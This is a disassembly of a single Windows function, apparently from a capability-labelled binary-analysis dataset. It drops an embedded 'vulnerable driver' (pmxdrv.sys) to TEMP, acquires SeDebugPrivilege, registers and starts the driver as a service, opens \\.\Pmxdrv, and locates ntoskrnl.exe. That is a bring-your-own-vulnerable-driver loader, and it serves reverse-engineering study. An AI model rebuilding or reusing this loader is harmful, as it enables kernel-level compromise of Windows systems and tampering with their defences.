Function at 0x140004310
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xa0], rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul eax, ebx
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str..Pmxdrv
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1400043cf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.____DevicePmxdrv_is_already_in_use.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140003110
lea rdx, [0x1400032f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rax, 0xffffffffffffffff
jmp 0x14000482e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x140017b40], xmm0
movups xmmword [0x140017b50], xmm0
movups xmmword [0x140017b60], xmm0
movups xmmword [0x140017b70], xmm0
movups xmmword [0x140017b80], xmm0
movups xmmword [0x140017b90], xmm0
mov dword [0x140017ba0], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
add r8d, 0xa
mov rbx, r14
movsxd rdi, r8d
test r8d, r8d
jle 0x140004479
movabs r15, 0x4ec4ec4ec4ec4ec5
lea rsi, [0x140000000]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, r15
mul rcx
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [rcx + rsi + 0xafb8]
mov byte [rbx + rsi + 0x17b40], al
inc rbx
cmp rbx, rdi
jl 0x140004448
lea rdx, str.____Loading_vulnerable_driver__Name:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140003110
mov rbx, rax
lea rcx, [rsp + 0x40]
call fcn.140003df0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x1400044a8
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.140003b60
lea rdx, [0x1400032f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140004509
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004504
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004504
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007d7c
lea rcx, [rsp + 0x68]
call fcn.140004010
nop
cmp qword [rsp + 0x78], 0
jne 0x140004528
lea rdx, str.____Cant_find_TEMP_folder
jmp 0x1400045d0
lea rcx, [rsp + 0x68]
cmp qword [rbp - 0x80], 7
cmova rcx, qword [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x70]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 7
cmova rdx, qword [rsp + 0x68]
lea rcx, [rbp - 0x70]
call fcn.1400058c0
nop
mov r8d, 0x79b0
lea rdx, [0x14000b0a0]
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
lea rcx, [rbp - 0x68]
test al, al
je 0x1400045f1
call fcn.140005b90
test rax, rax
jne 0x1400045c0
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x70]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp - 0x70]
call fcn.140004ba0
lea rdx, str.____Failed_to_create_vulnerable_driver_file
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140003110
lea rdx, [0x1400032f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x1400046b9
call fcn.140005b90
test rax, rax
jne 0x140004619
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x70]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp - 0x70]
call fcn.140004ba0
lea rcx, [0x14000abb8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140004680
lea rdx, str.RtlAdjustPrivilege
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x60]
xor r8d, r8d
mov dl, 1
mov ecx, 0x14
call rax
test eax, eax
jns 0x14000470b
lea rdx, str.____Failed_to_acquire_SE_DEBUG_PRIVILEGE
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140005d90
lea rdx, [0x1400032f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.____Failed_to_acquire_SeDebugPrivilege
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140003110
lea rdx, [0x1400032f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rsp + 0x68]
cmp qword [rbp - 0x80], 7
cmova rcx, qword [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
mov rbx, 0xffffffffffffffff
mov rdx, qword [rbp - 0x80]
cmp rdx, 7
jbe 0x14000482b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004826
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004826
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [rsp + 0x68]
call fcn.140006570
test al, al
jne 0x140004725
lea rdx, str.____Failed_to_register_and_start_service_for_the_vulnerable_driver
jmp 0x140004687
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..Pmxdrv
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14000481d
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
mov r8d, 0xc
lea rdx, [0x14000ae80]
lea rcx, [rsp + 0x40]
call fcn.1400035b0
nop
lea rcx, [rsp + 0x40]
call fcn.140006f60
mov qword [0x140017b38], rax
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400047e4
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400047d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400047d8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007d7c
mov rax, qword [0x140017b38]
test rax, rax
jne 0x1400046c0
lea rdx, str.____Failed_to_get_ntoskrnl.exe
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140003110
lea rdx, [0x1400032f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rbx
call fcn.140004860
jmp 0x1400046b9
lea rdx, str.____Failed_to_load_driver_pmxdrv.sys
jmp 0x1400047f4
call fcn.140007d7c
mov rax, rbx
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.140007d20
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret